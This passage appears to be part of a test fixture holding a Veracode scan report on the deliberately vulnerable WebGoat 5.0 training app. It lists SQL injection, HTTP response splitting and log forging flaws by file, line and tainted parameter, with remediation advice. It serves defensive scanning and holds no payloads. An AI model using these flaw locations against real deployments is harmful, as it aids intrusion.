+        cia_impact=\"ppp\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"UpdateProfile.java\"
+        line=\"295\" sourcefilepath=\"org/owasp/webgoat/lessons/RoleBasedAccessControl/\"
+        scope=\"org.owasp.webgoat.lessons.RoleBasedAccessControl.UpdateProfile\" functionprototype=\"void
+        createEmployeeProfile(session.WebSession, int, session.Employee)\" functionrelativelocation=\"68\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"4\" categoryname=\"Improper Neutralization of Special Elements
+        used in an SQL Command ('SQL Injection')\" count=\"1\" issueid=\"139\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"java.sql.Statement.executeUpdate\" description=\"This database query
+        contains a SQL injection flaw. The call to java.sql.Statement.executeUpdate()
+        constructs a dynamic SQL query using a variable derived from user-supplied
+        input. An attacker could exploit this flaw to execute arbitrary SQL queries
+        against the database. The first argument to executeUpdate() contains tainted
+        data from the variable query. The tainted data originated from an earlier
+        call to javax.servlet.ServletRequest.getParameterValues.\r\n\r\nAvoid dynamically
+        constructing SQL queries. Instead, use parameterized prepared statements to
+        prevent the database from interpreting the contents of bind variables as part
+        of the query. Always validate user-supplied input to ensure that it conforms
+        to the expected format, using centralized data validation routines when possible.\r\n\r\nReferences:
+        \r\nCWE (http://cwe.mitre.org/data/definitions/89.html) \r\nOWASP (http://www.owasp.org/index.php/SQL_injection)
+        \r\nWASC (http://webappsec.pbworks.com/SQL-Injection)\r\n\r\n\" note=\"\"
+        cweid=\"89\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"19\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppp\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"UpdateProfile.java\"
+        line=\"340\" sourcefilepath=\"org/owasp/webgoat/lessons/CrossSiteScripting/\"
+        scope=\"org.owasp.webgoat.lessons.CrossSiteScripting.UpdateProfile\" functionprototype=\"void
+        createEmployeeProfile(session.WebSession, int, session.Employee)\" functionrelativelocation=\"85\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"4\" categoryname=\"Improper Neutralization of Special Elements
+        used in an SQL Command ('SQL Injection')\" count=\"1\" issueid=\"258\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"java.sql.Statement.executeQuery\" description=\"This database query
+        contains a SQL injection flaw. The call to java.sql.Statement.executeQuery()
+        constructs a dynamic SQL query using a variable derived from user-supplied
+        input. An attacker could exploit this flaw to execute arbitrary SQL queries
+        against the database. The first argument to executeQuery() contains tainted
+        data from the variable query. The tainted data originated from earlier calls
+        to javax.servlet.ServletRequest.getParameterValues, javax.servlet.ServletRequest.getParameter,
+        java.sql.Statement.executeQuery, and java.sql.PreparedStatement.executeQuery.\r\n\r\nAvoid
+        dynamically constructing SQL queries. Instead, use parameterized prepared
+        statements to prevent the database from interpreting the contents of bind
+        variables as part of the query. Always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/89.html)
+        \r\nOWASP (http://www.owasp.org/index.php/SQL_injection) \r\nWASC (http://webappsec.pbworks.com/SQL-Injection)\r\n\r\n\"
+        note=\"\" cweid=\"89\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"19\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppp\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"UpdateProfile_i.java\"
+        line=\"64\" sourcefilepath=\"org/owasp/webgoat/lessons/instructor/RoleBasedAccessControl/\"
+        scope=\"org.owasp.webgoat.lessons.instructor.RoleBasedAccessControl.UpdateProfile_i\"
+        functionprototype=\"void changeEmployeeProfile(session.WebSession, int, int,
+        session.Employee)\" functionrelativelocation=\"80\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"4\" categoryname=\"Improper Neutralization of Special Elements
+        used in an SQL Command ('SQL Injection')\" count=\"1\" issueid=\"17\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"java.sql.Statement.executeQuery\" description=\"This database query
+        contains a SQL injection flaw. The call to java.sql.Statement.executeQuery()
+        constructs a dynamic SQL query using a variable derived from user-supplied
+        input. An attacker could exploit this flaw to execute arbitrary SQL queries
+        against the database. The first argument to executeQuery() contains tainted
+        data from the variable sqlStatement. The tainted data originated from an earlier
+        call to javax.servlet.ServletRequest.getParameterValues.\r\n\r\nAvoid dynamically
+        constructing SQL queries. Instead, use parameterized prepared statements to
+        prevent the database from interpreting the contents of bind variables as part
+        of the query. Always validate user-supplied input to ensure that it conforms
+        to the expected format, using centralized data validation routines when possible.\r\n\r\nReferences:
+        \r\nCWE (http://cwe.mitre.org/data/definitions/89.html) \r\nOWASP (http://www.owasp.org/index.php/SQL_injection)
+        \r\nWASC (http://webappsec.pbworks.com/SQL-Injection)\r\n\r\n\" note=\"\"
+        cweid=\"89\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"19\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppp\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewDatabase.java\"
+        line=\"89\" sourcefilepath=\"org/owasp/webgoat/lessons/admin/\" scope=\"org.owasp.webgoat.lessons.admin.ViewDatabase\"
+        functionprototype=\"apache.ecs.Element createContent(session.WebSession)\"
+        functionrelativelocation=\"60\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"4\" categoryname=\"Improper Neutralization of Special Elements
+        used in an SQL Command ('SQL Injection')\" count=\"1\" issueid=\"12\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"java.sql.Statement.executeQuery\" description=\"This database query
+        contains a SQL injection flaw. The call to java.sql.Statement.executeQuery()
+        constructs a dynamic SQL query using a variable derived from user-supplied
+        input. An attacker could exploit this flaw to execute arbitrary SQL queries
+        against the database. The first argument to executeQuery() contains tainted
+        data from the variable query. The tainted data originated from an earlier
+        call to javax.servlet.ServletRequest.getParameterValues.\r\n\r\nAvoid dynamically
+        constructing SQL queries. Instead, use parameterized prepared statements to
+        prevent the database from interpreting the contents of bind variables as part
+        of the query. Always validate user-supplied input to ensure that it conforms
+        to the expected format, using centralized data validation routines when possible.\r\n\r\nReferences:
+        \r\nCWE (http://cwe.mitre.org/data/definitions/89.html) \r\nOWASP (http://www.owasp.org/index.php/SQL_injection)
+        \r\nWASC (http://webappsec.pbworks.com/SQL-Injection)\r\n\r\n\" note=\"\"
+        cweid=\"89\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"19\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppp\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile.java\"
+        line=\"118\" sourcefilepath=\"org/owasp/webgoat/lessons/SQLInjection/\" scope=\"org.owasp.webgoat.lessons.SQLInjection.ViewProfile\"
+        functionprototype=\"session.Employee getEmployeeProfile(session.WebSession,
+        java.lang.String, java.lang.String)\" functionrelativelocation=\"20\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"4\" categoryname=\"Improper Neutralization of Special Elements
+        used in an SQL Command ('SQL Injection')\" count=\"1\" issueid=\"197\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"java.sql.Statement.executeQuery\" description=\"This database query
+        contains a SQL injection flaw. The call to java.sql.Statement.executeQuery()
+        constructs a dynamic SQL query using a variable derived from user-supplied
+        input. An attacker could exploit this flaw to execute arbitrary SQL queries
+        against the database. The first argument to executeQuery() contains tainted
+        data from the variable query. The tainted data originated from an earlier
+        call to javax.servlet.ServletRequest.getParameterValues.\r\n\r\nAvoid dynamically
+        constructing SQL queries. Instead, use parameterized prepared statements to
+        prevent the database from interpreting the contents of bind variables as part
+        of the query. Always validate user-supplied input to ensure that it conforms
+        to the expected format, using centralized data validation routines when possible.\r\n\r\nReferences:
+        \r\nCWE (http://cwe.mitre.org/data/definitions/89.html) \r\nOWASP (http://www.owasp.org/index.php/SQL_injection)
+        \r\nWASC (http://webappsec.pbworks.com/SQL-Injection)\r\n\r\n\" note=\"\"
+        cweid=\"89\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"19\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppp\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile.java\"
+        line=\"178\" sourcefilepath=\"org/owasp/webgoat/lessons/SQLInjection/\" scope=\"org.owasp.webgoat.lessons.SQLInjection.ViewProfile\"
+        functionprototype=\"session.Employee getEmployeeProfile_BACKUP(session.WebSession,
+        java.lang.String, java.lang.String)\" functionrelativelocation=\"20\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"4\" categoryname=\"Improper Neutralization of Special Elements
+        used in an SQL Command ('SQL Injection')\" count=\"1\" issueid=\"166\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"java.sql.Statement.executeQuery\" description=\"This database query
+        contains a SQL injection flaw. The call to java.sql.Statement.executeQuery()
+        constructs a dynamic SQL query using a variable derived from user-supplied
+        input. An attacker could exploit this flaw to execute arbitrary SQL queries
+        against the database. The first argument to executeQuery() contains tainted
+        data from the variable query. The tainted data originated from an earlier
+        call to javax.servlet.ServletRequest.getParameterValues.\r\n\r\nAvoid dynamically
+        constructing SQL queries. Instead, use parameterized prepared statements to
+        prevent the database from interpreting the contents of bind variables as part
+        of the query. Always validate user-supplied input to ensure that it conforms
+        to the expected format, using centralized data validation routines when possible.\r\n\r\nReferences:
+        \r\nCWE (http://cwe.mitre.org/data/definitions/89.html) \r\nOWASP (http://www.owasp.org/index.php/SQL_injection)
+        \r\nWASC (http://webappsec.pbworks.com/SQL-Injection)\r\n\r\n\" note=\"\"
+        cweid=\"89\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"19\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppp\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"WsSqlInjection.java\"
+        line=\"240\" sourcefilepath=\"org/owasp/webgoat/lessons/\" scope=\"org.owasp.webgoat.lessons.WsSqlInjection\"
+        functionprototype=\"java.sql.ResultSet getResults(java.lang.String)\" functionrelativelocation=\"80\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n</staticflaws>\n<dynamicflaws>\n<flaw
+        severity=\"4\" categoryname=\"Improper Neutralization of Special Elements
+        used in an SQL Command ('SQL Injection')\" count=\"1\" issueid=\"275\" module=\"dynamic_analysis\"
+        type=\"Improper Neutralization of Special Elements used in an SQL Command
+        ('SQL Injection')\" description=\"This database query contains a SQL injection
+        flaw. The function call constructs a dynamic SQL query using a variable derived
+        from user-supplied input. An attacker could exploit this flaw to execute arbitrary
+        SQL queries against the database.\r\n\r\nAvoid dynamically constructing SQL
+        queries. Instead, use parameterized prepared statements to prevent the database
+        from interpreting the contents of bind variables as part of the query. Always
+        validate user-supplied input to ensure that it conforms to the expected format,
+        using centralized data validation routines when possible.\r\n\r\n\r\nCWE (http://cwe.mitre.org/cgi-bin/jumpmenu.cgi?id=89)
+        \r\nOWASP (http://www.owasp.org/index.php/SQL_injection) \r\nWASC (http://webappsec.pbworks.com/SQL-Injection)\r\n\r\n\"
+        note=\"\" cweid=\"89\" remediationeffort=\"3\" categoryid=\"19\" pcirelated=\"true\"
+        date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppp\" grace_period_expires=\"2012-03-01 15:03:50 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" url=\"http://10.0.4.89:8080/WebGoat/attack\"
+        vuln_parameter=\"id\"/>\n</dynamicflaws>\n</cwe>\n</category>\n</severity>\n<severity
+        level=\"3\">\n<category categoryid=\"21\" categoryname=\"CRLF Injection\"
+        pcirelated=\"false\">\n<desc>\n<para text=\"The acronym CRLF stands for &quot;Carriage
+        Return, Line Feed&quot; and refers to the sequence of characters used to denote
+        the end of a line of text.  CRLF injection vulnerabilities occur when data
+        enters an application from an untrusted source and is not properly validated
+        before being used.  For example, if an attacker is able to inject a CRLF into
+        a log file, he could append falsified log entries, thereby misleading administrators
+        or cover traces of the attack.  If an attacker is able to inject CRLFs into
+        an HTTP response header, he can use this ability to carry out other attacks
+        such as cache poisoning.  CRLF vulnerabilities primarily affect data integrity.
+        \ \"/>\n</desc>\n<recommendations>\n<para text=\"Apply robust input filtering
+        for all user-supplied data, using centralized data validation routines when
+        possible.  Use output filters to sanitize all output derived from user-supplied
+        input, replacing non-alphanumeric characters with their HTML entity equivalents.\"/>\n</recommendations>\n<cwe
+        cweid=\"113\" cwename=\"Improper Neutralization of CRLF Sequences in HTTP
+        Headers ('HTTP Response Splitting')\" pcirelated=\"false\">\n<description>\n<text
+        text=\"A function call contains an HTTP response splitting flaw.  Writing
+        unsanitized user-supplied input into an HTTP header allows an attacker to
+        manipulate the HTTP response rendered by the browser, leading to cache poisoning
+        and cross-site scripting attacks.\"/>\n</description>\n<staticflaws>\n<flaw
+        severity=\"3\" categoryname=\"Improper Neutralization of CRLF Sequences in
+        HTTP Headers ('HTTP Response Splitting')\" count=\"1\" issueid=\"10\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.http.HttpServletResponse.sendRedirect\" description=\"This
+        call to javax.servlet.http.HttpServletResponse.sendRedirect() contains an
+        HTTP response splitting flaw. Writing unsanitized user-supplied input into
+        an HTTP header allows an attacker to manipulate the HTTP response rendered
+        by the browser, to inject additional headers or an entire response body into
+        the response stream. Injecting headers can be used to trick various security
+        mechanisms in browsers into allowing XSS style attacks. Injecting entire response
+        bodies can not only cause XSS attacks to succeed but may even poison the cache
+        of any intermediary proxies between the clients and the application server.
+        The first argument to sendRedirect() contains tainted data from the variable
+        request.getParameter(). The tainted data originated from an earlier call to
+        javax.servlet.ServletRequest.getParameter.\r\n\r\nEscape, encode, or remove
+        carriage return and line feed characters from user-supplied data before inclusion
+        in HTTP response headers. Whenever possible, use a security library such as
+        ESAPI that provides safe versions of addHeader(), etc. that will automatically
+        remove unexpected carriage returns and line feeds and can be configured to
+        use HTML entity encoding for non-alphanumeric data. Only write custom blacklisting
+        code when absolutely necessary. Always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/113.html)
+        \r\nOWASP (http://www.owasp.org/index.php/HTTP_Response_Splitting) \r\nWASC
+        (http://webappsec.pbworks.com/HTTP-Response-Splitting)\r\n\r\n\" note=\"\"
+        cweid=\"113\" remediationeffort=\"2\" exploitLevel=\"1\" categoryid=\"21\"
+        pcirelated=\"false\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"\" affects_policy_compliance=\"false\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"config_jsp.java\"
+        line=\"43\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/ConfManagement/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.ConfManagement.config_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"60\"/>\n<flaw
+        severity=\"3\" categoryname=\"Improper Neutralization of CRLF Sequences in
+        HTTP Headers ('HTTP Response Splitting')\" count=\"1\" issueid=\"78\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.http.HttpServletResponse.setHeader\" description=\"This
+        call to javax.servlet.http.HttpServletResponse.setHeader() contains an HTTP
+        response splitting flaw. Writing unsanitized user-supplied input into an HTTP
+        header allows an attacker to manipulate the HTTP response rendered by the
+        browser, to inject additional headers or an entire response body into the
+        response stream. Injecting headers can be used to trick various security mechanisms
+        in browsers into allowing XSS style attacks. Injecting entire response bodies
+        can not only cause XSS attacks to succeed but may even poison the cache of
+        any intermediary proxies between the clients and the application server. The
+        second argument to setHeader() contains tainted data from the variable cookie.
+        The tainted data originated from an earlier call to javax.servlet.http.HttpServletRequest.getCookies.\r\n\r\nEscape,
+        encode, or remove carriage return and line feed characters from user-supplied
+        data before inclusion in HTTP response headers. Whenever possible, use a security
+        library such as ESAPI that provides safe versions of addHeader(), etc. that
+        will automatically remove unexpected carriage returns and line feeds and can
+        be configured to use HTML entity encoding for non-alphanumeric data. Only
+        write custom blacklisting code when absolutely necessary. Always validate
+        user-supplied input to ensure that it conforms to the expected format, using
+        centralized data validation routines when possible.\r\n\r\nReferences: \r\nCWE
+        (http://cwe.mitre.org/data/definitions/113.html) \r\nOWASP (http://www.owasp.org/index.php/HTTP_Response_Splitting)
+        \r\nWASC (http://webappsec.pbworks.com/HTTP-Response-Splitting)\r\n\r\n\"
+        note=\"\" cweid=\"113\" remediationeffort=\"2\" exploitLevel=\"1\" categoryid=\"21\"
+        pcirelated=\"false\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"\" affects_policy_compliance=\"false\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"HttpOnly.java\"
+        line=\"198\" sourcefilepath=\"org/owasp/webgoat/lessons/\" scope=\"org.owasp.webgoat.lessons.HttpOnly\"
+        functionprototype=\"void setHttpOnly(session.WebSession)\" functionrelativelocation=\"89\"/>\n<flaw
+        severity=\"3\" categoryname=\"Improper Neutralization of CRLF Sequences in
+        HTTP Headers ('HTTP Response Splitting')\" count=\"1\" issueid=\"204\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.http.HttpServletResponse.setHeader\" description=\"This
+        call to javax.servlet.http.HttpServletResponse.setHeader() contains an HTTP
+        response splitting flaw. Writing unsanitized user-supplied input into an HTTP
+        header allows an attacker to manipulate the HTTP response rendered by the
+        browser, to inject additional headers or an entire response body into the
+        response stream. Injecting headers can be used to trick various security mechanisms
+        in browsers into allowing XSS style attacks. Injecting entire response bodies
+        can not only cause XSS attacks to succeed but may even poison the cache of
+        any intermediary proxies between the clients and the application server. The
+        second argument to setHeader() contains tainted data from the variable cookie.
+        The tainted data originated from an earlier call to javax.servlet.http.HttpServletRequest.getCookies.\r\n\r\nEscape,
+        encode, or remove carriage return and line feed characters from user-supplied
+        data before inclusion in HTTP response headers. Whenever possible, use a security
+        library such as ESAPI that provides safe versions of addHeader(), etc. that
+        will automatically remove unexpected carriage returns and line feeds and can
+        be configured to use HTML entity encoding for non-alphanumeric data. Only
+        write custom blacklisting code when absolutely necessary. Always validate
+        user-supplied input to ensure that it conforms to the expected format, using
+        centralized data validation routines when possible.\r\n\r\nReferences: \r\nCWE
+        (http://cwe.mitre.org/data/definitions/113.html) \r\nOWASP (http://www.owasp.org/index.php/HTTP_Response_Splitting)
+        \r\nWASC (http://webappsec.pbworks.com/HTTP-Response-Splitting)\r\n\r\n\"
+        note=\"\" cweid=\"113\" remediationeffort=\"2\" exploitLevel=\"1\" categoryid=\"21\"
+        pcirelated=\"false\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"\" affects_policy_compliance=\"false\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"HttpOnly.java\"
+        line=\"212\" sourcefilepath=\"org/owasp/webgoat/lessons/\" scope=\"org.owasp.webgoat.lessons.HttpOnly\"
+        functionprototype=\"void removeHttpOnly(session.WebSession)\" functionrelativelocation=\"89\"/>\n<flaw
+        severity=\"3\" categoryname=\"Improper Neutralization of CRLF Sequences in
+        HTTP Headers ('HTTP Response Splitting')\" count=\"1\" issueid=\"92\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.http.HttpServletResponse.sendRedirect\" description=\"This
+        call to javax.servlet.http.HttpServletResponse.sendRedirect() contains an
+        HTTP response splitting flaw. Writing unsanitized user-supplied input into
+        an HTTP header allows an attacker to manipulate the HTTP response rendered
+        by the browser, to inject additional headers or an entire response body into
+        the response stream. Injecting headers can be used to trick various security
+        mechanisms in browsers into allowing XSS style attacks. Injecting entire response
+        bodies can not only cause XSS attacks to succeed but may even poison the cache
+        of any intermediary proxies between the clients and the application server.
+        The first argument to sendRedirect() contains tainted data from the variable
+        request.getParameter(). The tainted data originated from an earlier call to
+        javax.servlet.ServletRequest.getParameter.\r\n\r\nEscape, encode, or remove
+        carriage return and line feed characters from user-supplied data before inclusion
+        in HTTP response headers. Whenever possible, use a security library such as
+        ESAPI that provides safe versions of addHeader(), etc. that will automatically
+        remove unexpected carriage returns and line feeds and can be configured to
+        use HTML entity encoding for non-alphanumeric data. Only write custom blacklisting
+        code when absolutely necessary. Always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/113.html)
+        \r\nOWASP (http://www.owasp.org/index.php/HTTP_Response_Splitting) \r\nWASC
+        (http://webappsec.pbworks.com/HTTP-Response-Splitting)\r\n\r\n\" note=\"\"
+        cweid=\"113\" remediationeffort=\"2\" exploitLevel=\"1\" categoryid=\"21\"
+        pcirelated=\"false\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"\" affects_policy_compliance=\"false\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"redirect_jsp.java\"
+        line=\"43\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/General/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.General.redirect_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"62\"/>\n<flaw
+        severity=\"3\" categoryname=\"Improper Neutralization of CRLF Sequences in
+        HTTP Headers ('HTTP Response Splitting')\" count=\"1\" issueid=\"170\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.http.HttpServletResponse.addCookie\" description=\"This
+        call to javax.servlet.http.HttpServletResponse.addCookie() contains an HTTP
+        response splitting flaw. Writing unsanitized user-supplied input into an HTTP
+        header allows an attacker to manipulate the HTTP response rendered by the
+        browser, to inject additional headers or an entire response body into the
+        response stream. Injecting headers can be used to trick various security mechanisms
+        in browsers into allowing XSS style attacks. Injecting entire response bodies
+        can not only cause XSS attacks to succeed but may even poison the cache of
+        any intermediary proxies between the clients and the application server. The
+        first argument to addCookie() contains tainted data from the variable cookies.
+        The tainted data originated from an earlier call to javax.servlet.http.HttpServletRequest.getCookies.\r\n\r\nEscape,
+        encode, or remove carriage return and line feed characters from user-supplied
+        data before inclusion in HTTP response headers. Whenever possible, use a security
+        library such as ESAPI that provides safe versions of addHeader(), etc. that
+        will automatically remove unexpected carriage returns and line feeds and can
+        be configured to use HTML entity encoding for non-alphanumeric data. Only
+        write custom blacklisting code when absolutely necessary. Always validate
+        user-supplied input to ensure that it conforms to the expected format, using
+        centralized data validation routines when possible.\r\n\r\nReferences: \r\nCWE
+        (http://cwe.mitre.org/data/definitions/113.html) \r\nOWASP (http://www.owasp.org/index.php/HTTP_Response_Splitting)
+        \r\nWASC (http://webappsec.pbworks.com/HTTP-Response-Splitting)\r\n\r\n\"
+        note=\"\" cweid=\"113\" remediationeffort=\"2\" exploitLevel=\"1\" categoryid=\"21\"
+        pcirelated=\"false\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"\" affects_policy_compliance=\"false\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"WebSession.java\"
+        line=\"335\" sourcefilepath=\"org/owasp/webgoat/session/\" scope=\"org.owasp.webgoat.session.WebSession\"
+        functionprototype=\"void eatCookies()\" functionrelativelocation=\"79\"/>\n</staticflaws>\n</cwe>\n<cwe
+        cweid=\"117\" cwename=\"Improper Output Neutralization for Logs\" pcirelated=\"false\"
+        owasp=\"929\">\n<description>\n<text text=\"A function call could result in
+        a log forging attack.  Writing unsanitized user-supplied data into a log file
+        allows an attacker to forge log entries or inject malicious content into log
+        files.  Corrupted log files can be used to cover an attacker's tracks or as
+        a delivery mechanism for an attack on a log viewing or processing utility.
+        \ For example, if a web administrator uses a browser-based utility to review
+        logs, a cross-site scripting attack might be possible.\"/>\n</description>\n<staticflaws>\n<flaw
+        severity=\"3\" categoryname=\"Improper Output Neutralization for Logs\" count=\"1\"
+        issueid=\"214\" module=\"WebGoat-5.0-with-jsp.war\" type=\"javax.servlet.GenericServlet.log\"
+        description=\"This call to javax.servlet.GenericServlet.log() could result
+        in a log forging attack. Writing unsanitized user-supplied data into a log
+        file allows an attacker to forge log entries or inject malicious content into
+        log files. Corrupted log files can be used to cover an attacker's tracks or
+        as a delivery mechanism for an attack on a log viewing or processing utility.
+        For example, if a web administrator uses a browser-based utility to review
+        logs, a cross-site scripting attack might be possible. The first argument
+        to log() contains tainted data from the variable output. The tainted data
+        originated from an earlier call to javax.servlet.ServletRequest.getParameterValues.\r\n\r\nAvoid
+        directly embedding user input in log files when possible. Sanitize user-supplied
+        data used to construct log entries by using a safe logging mechanism such
+        as the OWASP ESAPI Logger, which will automatically remove unexpected carriage
+        returns and line feeds and can be configured to use HTML entity encoding for
+        non-alphanumeric data. Only write custom blacklisting code when absolutely
+        necessary. Always validate user-supplied input to ensure that it conforms
+        to the expected format, using centralized data validation routines when possible.\r\n\r\nReferences:
+        \r\nCWE (http://cwe.mitre.org/data/definitions/117.html) \r\nOWASP (http://www.owasp.org/index.php/Log_injection)
+        \r\nWASC (http://webappsec.pbworks.com/Improper-Output-Handling)\r\n\r\n\"
+        note=\"\" cweid=\"117\" remediationeffort=\"2\" exploitLevel=\"1\" categoryid=\"21\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"npp\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"HammerHead.java\"
+        line=\"306\" sourcefilepath=\"org/owasp/webgoat/\" scope=\"org.owasp.webgoat.HammerHead\"
+        functionprototype=\"void log(javax.servlet.http.HttpServletRequest, java.lang.String)\"
+        functionrelativelocation=\"84\"/>\n</staticflaws>\n</cwe>\n</category>\n<category
+        categoryid=\"17\" categoryname=\"Code Quality\" pcirelated=\"false\">\n<desc>\n<para
+        text=\"Code quality issues stem from failure to follow good coding practices
+        and can lead to unpredictable behavior. These may include but are not limited
+        to:\">\n<bulletitem text=\"Neglecting to remove debug code or dead code\"/>\n<bulletitem
+        text=\"Improper resource management, such as using a pointer after it has
+        been freed\"/>\n<bulletitem text=\"Using the incorrect operator to compare
+        objects\"/>\n<bulletitem text=\"Failing to follow an API or framework specification\"/>\n<bulletitem
+        text=\"Using a language feature or API in an unintended manner\"/>\n</para>\n<para
+        text=\"While code quality flaws are generally less severe than other categories
+        and usually are not directly exploitable, they may serve as indicators that
+        developers are not following practices that increase the reliability and security
+        of an application.  For an attacker, code quality issues may provide an opportunity
+        to stress the application in unexpected ways.\"/>\n</desc>\n<recommendations>\n<para
+        text=\"The wide variance of code quality issues makes it impractical to generalize
+        how these issues should be addressed.  Refer to individual categories for
